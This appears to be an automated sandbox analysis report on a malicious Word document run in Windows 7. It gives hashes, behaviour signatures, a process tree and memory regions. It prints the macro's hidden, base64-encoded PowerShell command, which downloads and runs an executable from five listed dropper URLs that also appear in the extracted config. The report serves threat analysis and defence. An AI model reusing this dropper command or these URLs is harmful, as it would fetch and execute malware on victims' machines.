Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13-11-2024 10:11

General

  • Target

    d554c6725e98bfdef5e0b10286d8428853d3f29a87496e87326e449a6c3d70be.doc

  • Size

    181KB

  • MD5

    07a7cfa80f2d055e3b23735ce0a38922

  • SHA1

    1b23679cc0286557b4a3bdd6b9dc9d639d05555b

  • SHA256

    d554c6725e98bfdef5e0b10286d8428853d3f29a87496e87326e449a6c3d70be

  • SHA512

    2a38dd9f9db880e7078d50fc0b044bfbab9c8c9b69d2e90f4892101af857106452c2900b8ccf4737ff753712649191b14e225b9c62f1eebfc65b5c8aa885893b

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUJasiv8OC7v:9NO2k4PF7tGiL3HJk9rD7bJasiv8D7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d554c6725e98bfdef5e0b10286d8428853d3f29a87496e87326e449a6c3d70be.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2080
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2512

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\480341D8.wmf

      Filesize

      444B

      MD5

      f2e620611088cc720f633bab51d0d31d

      SHA1

      f5edf0dc4cfa5844c78333ae6d267fabca5f930b

      SHA256

      e5f11d56186a8c8c05d865081b89a046dd82f05a23438dc4892c86f4e2ae7a73

      SHA512

      0a8e0d10ab7b4f9b8137d3733edab76e52510a488bd911c90e2c6d1194fc1f4fcd53dc3760f152e5d52e5e5a6ccc302911f2eaeab4b17fa36cd160561626497c

    • memory/2404-18-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2404-14-0x0000000006A50000-0x0000000006B50000-memory.dmp

      Filesize

      1024KB

    • memory/2404-21-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2404-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2404-22-0x0000000006A50000-0x0000000006B50000-memory.dmp

      Filesize

      1024KB

    • memory/2404-17-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2404-19-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2404-23-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2404-5-0x0000000006700000-0x0000000006800000-memory.dmp

      Filesize

      1024KB

    • memory/2404-2-0x00000000717DD000-0x00000000717E8000-memory.dmp

      Filesize

      44KB

    • memory/2404-0-0x000000002FC71000-0x000000002FC72000-memory.dmp

      Filesize

      4KB

    • memory/2404-25-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2404-37-0x0000000000740000-0x0000000000840000-memory.dmp

      Filesize

      1024KB

    • memory/2404-36-0x0000000006A50000-0x0000000006B50000-memory.dmp

      Filesize

      1024KB

    • memory/2404-35-0x00000000717DD000-0x00000000717E8000-memory.dmp

      Filesize

      44KB

    • memory/2512-32-0x0000000002250000-0x0000000002258000-memory.dmp

      Filesize

      32KB

    • memory/2512-31-0x000000001B730000-0x000000001BA12000-memory.dmp

      Filesize

      2.9MB